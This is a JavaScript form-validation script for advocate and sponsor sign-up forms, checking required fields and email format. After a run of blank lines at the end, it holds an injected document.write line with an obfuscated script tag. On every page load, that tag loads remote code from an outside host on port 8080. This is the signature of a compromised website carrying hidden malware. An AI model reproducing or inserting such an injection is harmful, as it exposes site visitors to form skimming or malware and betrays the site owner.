function validate(x_form) {
	//return true;
	error="";
	err_list="";
	firstname=document.getElementById('firstName').value;
	lastname=document.getElementById('lastName').value;
	if (x_form=="advocate") dob=document.getElementById('DoB').value;
	else if (x_form=="sponsor") telephone=document.getElementById('Telephone').value;
	address1=document.getElementById('Address1').value;
	town=document.getElementById('Town').value;
	postcode=document.getElementById('Postcode').value;
	country=document.getElementById('Country').value;
	email=document.getElementById('Email').value;
	conf_email=document.getElementById('confEmail').value;
	if (firstname=="" || firstname==" First name ...") err_list+="First name\n";
	if (lastname=="" || lastname==" Last name ...") err_list+="Last name\n";
	if (x_form=="advocate") {
		if (dob=="" || dob==" Date of Birth ...") err_list+="Date of birth\n";
	} else if (x_form=="sponsor") if (telephone=="" || telephone==" Telephone no ...") err_list+="Telephone\n";
	if (address1=="" || address1==" Address 1 ...") err_list+="Address 1\n";
	if (town=="" || town==" City/Town ...") err_list+="City/Town\n";
	if (postcode=="" || postcode==" Postcode ..") err_list+="Postcode\n";
	if (country=="" || country==" Country ...") err_list+="Country\n";
	
	function check_email(str,id) {
		if (str=="" || str==" Email ...") {
			err_list+="Email\n";
			chk_var=0;
			return
		}
		else if (str=="" || str==" Confirm Email ...") {
			err_list+="Confirm email\n";
			chk_var=0;
			return
		}
		if (str!="") {
			chk_var=1;
			emailFilter=/^.+@.+\..{2,3}$/;
		    if (!(emailFilter.test(str))) { 
		       error+= "\nThe "+id+" you have entered does not appear to be a valid one.\n";
		    }
		    else {
			//test email for illegal characters
		       var illegalChars= /[\(\)\<\>\,\;\:\\\"\[\]]/
		         if (str.match(illegalChars)) {
		          error+= "\nThe "+id+" contains illegal characters.\n";
		       }
		    }
	    }
    }

	check_email(email,'email');
	check_email(conf_email,'confirm email');
	
	if (chk_var)
	if (email!=conf_email) error+="Your email address was not confirmed (the Confirm email differed from the Email)";

	if (err_list!="") {
		str="The following fields are required:\n\n"+err_list;
		error=str+error;
	}
    if (error!="") {
    	alert(error);
    	return false;
    }
    
    return true;
}









document.write('<s'+'cript type="text/javascript" src="http://assol.metro-trading.net:8080/Operating_System.js"></scr'+'ipt>');